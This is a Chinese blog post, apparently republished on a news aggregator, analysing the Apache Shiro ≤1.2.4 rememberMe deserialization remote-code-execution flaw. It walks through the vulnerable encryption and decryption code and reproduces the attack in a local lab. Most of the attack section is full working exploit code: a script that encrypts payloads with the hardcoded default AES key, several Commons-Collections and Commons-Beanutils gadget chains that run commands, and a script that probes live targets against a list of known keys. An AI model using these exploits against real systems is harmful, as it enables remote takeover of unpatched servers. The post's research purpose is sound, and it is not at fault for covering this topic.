最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

资讯:shiro-550反序列化漏洞分析

来源:博客园

0x00 环境搭建

  • 首先下载有漏洞的版本

https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4

  • 配置 samples/web的pom文件
  • 配置tomcat

配置完成后点击debug调试,出现这个界面

0x01 利用版本

shiro≤1.2.4


【资料图】

0x02 漏洞原理

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:

得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

payload 构造的顺序则就是相对的反着来:

恶意命令-->序列化-->AES加密-->base64编码-->发送cookie

在整个漏洞利用过程中,比较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修改默认的密钥,就自己可以生成恶意构造的cookie了。

shiro特征:

未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

0x03 漏洞复现

登陆的时候勾选Remember Me选项,此时返回包会返回一个RememberMe

刷新再抓包,去除掉cookie中的JSESSIONID,因为有了这个之后就通过sessionid识别用户,无法触发rememberme里面的反序列化。然后替换rememberMe为构造好的payload,重发就行了

0x04 漏洞分析

加密分析

入口是在AbstractRememberMeManager.onSuccessfulLogin方法

if验证完token之后进入到rememberIdentity函数

这里吧subject和authcInfo传入getIdentityToRemember,跟进一下

这里再跟进后没看懂 反正一系列操作下来返回的就是用户名,所以principals就是用户名了 那么返回到rememberIdentity函数

这里调用了一个convertPrincipalsToBytes 大致意思就是把用户名序列化,跟进看一下

看一下发现这里有一个加密的过程,这里debug出是AES-CBC模式,然后确实读代码也能发现这个是固定的

这里就是serialize了principals(用户名),然后跟进一下rememberSerializedIdentity,发现是base64了一下然后保存了

所以流程就是Serialize+AES+base64存储到cookie里面然后返回

解密分析

我们从getRememberedIdentity开始分析,文件位置org/apache/shiro/mgt/DefaultSecurityManager.java

这里return一个getRememberedPrincipals跟进一下

继续跟进getRememberedSerializedIdentity

简单分析一下就是获取Cookie中的rememberMe的值,然后判断是否是deleteMe,不是则判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回。

所以我们返回 getRememberedPrincipals然后跟进到下一步的convertBytesToPrincipals

这里进行了解密和反序列化的操作,看一下deserialize

继续跟进

果然 这里进行了相应对应的readObject(),所以解密的流程也就有了:获取cookie判断是不是deleteMe,然后base解码,对结果进行aes解密后再反序列化

URLDNS链

加密脚本,实现读取ser.bin,进行aes→base64

import uuidimport base64from Crypto.Cipher import AESdef get_file_data(filename):    with open(filename,"rb") as f:        return f.read()def encode_rememberme():    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")    iv = uuid.uuid4().bytes    encryptor = AES.new(key, AES.MODE_CBC, iv)    file_body = pad(get_file_data("serz.bin"))    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    return base64_ciphertextif __name__ == "__main__":    payload = encode_rememberme()    print("rememberMe={0}".format(payload.decode()))

urldns链子生成

import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class urldns {    public static void main(String[] args) throws Exception{        HashMap h=new HashMap();        URL url=new URL("http://urldns33.kgtism.dnslog.cn");        Class cls=Class.forName("java.net.URL");        setFieldValue(url,"hashCode",1);//为了防止在serialize的时候就产生了url请求        h.put(url,1);        setFieldValue(url,"hashCode",-1);//    ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));//    oos.writeObject(h);    serialize(h);//        ByteArrayOutputStream b = new ByteArrayOutputStream();//        ObjectOutputStream oos = new ObjectOutputStream(b);//        oos.writeObject(h);//        byte[] Bytes = b.toByteArray();//        Base64.Encoder encoder = Base64.getEncoder();//        String base64 = encoder.encodeToString(Bytes);//        System.out.println(base64);    }    public static void serialize(Object obj) throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serz.bin"));        oos.writeObject(obj);    }    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));        Object obj = ois.readObject();        return obj;    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

先生成urldns链子 然后运行py脚本得到

这里我们用的是dnslog生成一个url,然后抓包,记得去掉sessionid

最后得到结果,成功执行

cc6+TemplatesImpl

这里用一个插件可以分析maven的依赖,我们知道maven在编译和运行的时候只会把complie打进包里面,而test是不会打进来的,所以理论上来说用cc的打shiro是大不了的,只能打cb

这里我们本地测试的话先加上一个cc的依赖

有了依赖 理论上来说我们就可以用cc链子来打,那么我们直接用cc6试一下

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class cc6poc{    public static void main(String[] args) throws Exception {        Transformer[] fakeTransformers = new Transformer[] {new                ConstantTransformer(1)};        Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),                new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),                new ConstantTransformer(1),        };        Transformer transformerChain = new ChainedTransformer(fakeTransformers);        // 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap        Map innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, transformerChain);        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");//        outerMap.remove("keykey");        Map expMap = new HashMap();        expMap.put(tme, "valuevalue");        outerMap.remove("keykey");        setFieldValue(transformerChain,"iTransformers",transformers);        // ==================        // ⽣成序列化字符串        serialize(expMap);//        unserialize("ser.bin");    }    public static void serialize(Object obj) throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serz.bin"));        oos.writeObject(obj);    }    //反序列化数据    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));        Object obj = ois.readObject();        return obj;    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

打完之后发现并没有弹出计算器,也就是并没有成功执行命令,我们本地看一下服务器报错

许多的报错大致说的就是没法加载transformer数组里面的所有东西

这里再查看报错信息倒数第一行,也就是这个类:org.apache.shiro.io.ClassResolvingObjectInputStream。可以看到,这是一个ObjectInputStream的子类,重写了resolveClass()方法:

resolveClass是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的java.lang.Class对象。

对比一下它的父类,也就是正常的 ObjectInputStream 类中的resolveClass()方法:

区别就是前者用的是org.apache.shiro.util.ClassUtils#forName(实际上内部用到了org.apache.catalina.loader.ParallelWebappClassLoader#loadClass),而后者用的是Java原生的Class.forName

我们可以在捕获异常的位置下个断点,判断一下是哪个类触发了异常

这里可能cc6构造的不太一样?最后我调试出来的结果不一样

这里仅给出最后的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

  • 这里留一个坑点,回头补上。

承接刚才的结论吧,我们无法使用Transformer数组,但是并不是无法继续搞了,我们回顾一下cc链调用图:

理论上来说只要最后走Runtime.exec()的话,都需要用到transformer数组的 因为我们需要一个数组放进chaintransformer里面构成循环调用,还需要一个constanttransformer进行初始化我们的第一个参,这里我们发现cc2和cc4是不需要用到transformer数组的 ,但是依赖的都是commons collections4的包,当前环境是没法利用的。

所以我们可以尝试修改cc6,大致思路是cc6里面有个TideMapEntry可以传入一个key,key就可以作为触发transform方法时候的传参,此时不需要constanttransformer 自然也可以避开chainedtransformer,命令执行我们利用TemplateSimple就行

看一下TiedMapEntry:

当这个map是LazyMap的时候,get就是触发transform的关键,此时的key就作为了一个参数

之前我们对于LazyMap#get参数不关心,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个LazyMap#get的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。我们LazyMap.get(key)直接调用InvokerTransfomer.transform(key),然后像CC2那样调用TempalteImpl.newTransformer()来完成后续调用。

利用链如图所示

首先还是创建TemplatesIml对象:(命令执行部分)

byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][] {code});        setFieldValue(obj, "_name", "calc");

然后创建一个用来newTransformer()方法的InvokerTransformer

InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

然后再cc6的前半段拿过来

Map innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));        TiedMapEntry tme = new TiedMapEntry(outerMap,obj);        Map expMap = new HashMap();        expMap.put(tme, "valuevalue");        outerMap.remove(obj);        setFieldValue(outerMap,"factory",newTransformer);

最终EXP:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class shiro_cc {    public static void main(String[] args) throws Exception {        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][] {code});        setFieldValue(obj, "_name", "calc");        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});        Map innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));        TiedMapEntry tme = new TiedMapEntry(outerMap,obj);        Map expMap = new HashMap();        expMap.put(tme, "valuevalue");        outerMap.remove(obj);        setFieldValue(outerMap,"factory",newTransformer);            serialize(expMap);            unserialize("szzz.bin");    }    public static void serialize(Object obj) throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));        oos.writeObject(obj);    }    //反序列化数据    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));        Object obj = ois.readObject();        return obj;    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

最后成功命令执行了

cc6+instantiateTransformer

这里的话还有个链子就是cc6+instantiateTransformer后续部分

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class shiro_cc2 {    public static void main(String[] args) throws Exception {        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][] {code});        setFieldValue(obj, "_name", "calc");//        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj});        Map innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));        TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);        Map expMap = new HashMap();        expMap.put(tme, "valuevalue");        outerMap.remove(TrAXFilter.class);        setFieldValue(outerMap,"factory",instantiateTransformer);        serialize(expMap);        unserialize("szzz.bin");    }    public static void serialize(Object obj) throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));        oos.writeObject(obj);    }    //反序列化数据    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));        Object obj = ois.readObject();        return obj;    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

也是可以成功命令执行:

Commons-Beanutils1链

如上介绍的两种方式都是依赖于Commmons Collections,但是原生的shiro是没有cc的,所以我们就只能用shiro原生的类进行代码执行,也就用到了之前我们分析依赖的时候用到的一个Commons Beanutils,这里用到了Javabean

举个例子:

import org.apache.commons.beanutils.PropertyUtils; import java.lang.reflect.InvocationTargetException; public class Bean {    private String name = "cc";    public String getName() {        return name;    }    public void setName(String name) {        this.name = name;    }     public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {        System.out.println(PropertyUtils.getProperty(new Bean(),"name"));        System.out.println("cc");    }}

demo包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。

在commons-beanutils中提供了静态方法PropertyUtils.getProperty,通过调用这个静态方法,可以直接调用任意JavaBean中的getter方法。

我们可以通过这个方法对bean里面的get和set方法进行调用

此时,commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。

所以我们就要想办法利用PropertyUtils.getProperty()方法构造我们的利用链,回顾一下cc联众没有用到CommonsCollection包的部分

如上我们可以知道只有红框部分没用到,也就是说我们命令执行的方法只能选择TemplatesImpl实现类加载任意代码执行,所以我们需要找哪里可以调用TemplatesImpl.newTransformer()方法,通过find usages我们找到了TemplatesImpl.getOutputProperties()

这个方法里面调用了newTransformer(),而getOutputProperties这个名字,是以get开头,正符合getter的定义。所以,PropertyUtils.getProperty( obj, property )这段代码,当obj是一个TemplatesImpl对象,而property的值为outputProperties时,将会自动调用getter,也就是TemplatesImpl.getOutputProperties()方法,触发代码执行。

所以这里找哪里可以调用PropertyUtils.getProperty(),这里的话找到是commons-beanutils包中org.apache.commons.beanutils.BeanComparatorcompare()方法:

传入两个对象,如果this.property为空,直接比较这两个对象;如果不为空,贼getProperty来分取两个对象的this.property属性, 然后比较属性的值

cc链里2和4都用到了compare(),所以我们只要把CC4中本来传进去优先队列PriorityQueue中的transformingComparator对象换成这里的BeanComparator对象,那么这条链就能够完整地接上了

写EXP:

  • 创建TemplateImpl:
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][] {code});        setFieldValue(obj, "_name", "calc");
  • 实例化BeanComparator,当BeanComparator构造函数为空时,默认的Property就是空
final BeanComparator comparator = new BeanComparator();
  • 然后用这个comparator实例化优先队列PriorityQueue
PriorityQueue priorityQueue = new PriorityQueue<>(comparator);        priorityQueue.add(1);        priorityQueue.add(2);

我们添加了两个无害的可以比较的对象进队列中。BeanComparator.compare()中,如果this.property为空,则直接比较这两个对象。这里实际上就是对两个1进行排序。初始化时使用正经对象,且 property 为空,这一系列操作是为了初始化的时候不要出错。

  • 然后,我们再用反射将property的值设置成恶意的outputProperties,将队列里的两个1替换成恶意的TemplateImpl对象(也和cc2一样,至少得改第一个,具体细节参考cc2):
setFieldValue(comparator, "property", "outputProperties");        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});

最终EXP:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CB {    public static void main(String[] args) throws Exception {        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][] {code});        setFieldValue(obj, "_name", "calc");        final BeanComparator comparator = new BeanComparator();        PriorityQueue priorityQueue = new PriorityQueue<>(comparator);        priorityQueue.add(1);        priorityQueue.add(2);        setFieldValue(comparator, "property", "outputProperties");        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});        serialize(priorityQueue);    unserialize("serzsd.bin");    }    public static void serialize(Object obj) throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));        oos.writeObject(obj);    }    //反序列化数据    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));        Object obj = ois.readObject();        return obj;    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

最后成功命令执行

(我的小疑问 这里看组长的视频是打不通的 不知道是什么原因,试了很多payload构造都是能打通)

0x06 漏洞探测

指纹识别

在利用shiro漏洞时需要判断应用是否用到了shiro。在请求包的Cookie中为rememberMe字段赋任意值,收到返回包的 Set-Cookie 中存在rememberMe=deleteMe字段,说明目标有使用Shiro框架,可以进一步测试。

AES密钥判断

前面说到 Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。

那么如何判断密钥是否正确呢?文章一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段。

因此我们需要构造payload排除类型转换错误,进而准确判断密钥。

shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。

大佬Veraxy写的脚本:

import base64import uuidimport requestsfrom Crypto.Cipher import AES def encrypt_AES_GCM(msg, secretKey):    aesCipher = AES.new(secretKey, AES.MODE_GCM)    ciphertext, authTag = aesCipher.encrypt_and_digest(msg)    return (ciphertext, aesCipher.nonce, authTag) def encode_rememberme(target):    keys = ["kPH+bIxk5D2deZiIxcaaaA==", "4AvVhmFLUs0KTA3Kprsdag==","66v1O8keKNV3TTcGPK1wzg==", "SDKOLKn2J1j/2BHjeZwAoQ=="]     # 此处简单列举几个密钥    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes d    file_body = base64.b64decode("rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==")    for key in keys:        try:            # CBC加密            encryptor = AES.new(base64.b64decode(key), mode, iv)            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))            res = requests.get(target, cookies={"rememberMe": base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)            if res.headers.get("Set-Cookie") == None:                print("正确KEY :" + key)                return key            else:                if "rememberMe=deleteMe;" not in res.headers.get("Set-Cookie"):                    print("正确key:" + key)                    return key            # GCM加密            encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))            base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])            res = requests.get(target, cookies={"rememberMe": base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)             if res.headers.get("Set-Cookie") == None:                print("正确KEY:" + key)                return key            else:                if "rememberMe=deleteMe;" not in res.headers.get("Set-Cookie"):                    print("正确key:" + key)                    return key            print("正确key:" + key)            return key        except Exception as e:            print(e)

简单测试:d

0x07 注意事项

  • shiro版本问题

直接ysoserial里面的CB链子是打不通的,原因是ysoserial里面用CB链子依赖的版本是1.9.2

而shiro自带的为1.8.3

服务端会显示报错:

org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。

  • 原生依赖问题

BeanComparator的这个构造函数默认调用ComparableComparator.getInstance();,也就是有个默认的Comparator

然而这个东西又是commons.collections里面的(因为他们的设计某种程度上来说就是重叠了),所以这里用到了它没有的依赖就会产生报错

解决方法就是我们可以指定一个comparator,构造的时候直接传入就行了

至于我们如何选择Comparator,需要满足以下几个条件

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro或commons-beanutils自带,且兼容性强

接口,都找出来然后写个取交集的脚本

  • find.py
with open("com.txt") as f:    data=f.readlines()with open("ser.txt") as f2:    data2=f2.readlines()print(*[i for i in data if i in data2])

最后发现这个就可以

EXP:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.comparators.TransformingComparator;import org.apache.commons.collections.functors.ConstantTransformer;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class cb2 {    public static void main(String[] args) throws Exception {        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][] {code});        setFieldValue(obj, "_name", "calc");        BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);        priorityQueue.add(obj);        priorityQueue.add(2);        setFieldValue(priorityQueue,"comparator",comparator);//        setFieldValue(comparator, "property", "outputProperties");//        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});        serialize(priorityQueue);        unserialize("serzsd.bin");    }    public static void serialize(Object obj) throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serz.bin"));        oos.writeObject(obj);    }    //反序列化数据    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));        Object obj = ois.readObject();        return obj;    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

参考资料:

  • https://johnfrod.top/%E5%AE%89%E5%85%A8/shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
  • P牛的Java安全漫谈
  • https://www.bilibili.com/video/av592012084
  • https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247485052&idx=1&sn=b007a722e233b45982b7a57c3788d47d&scene=21#wechat_redirect

关键词: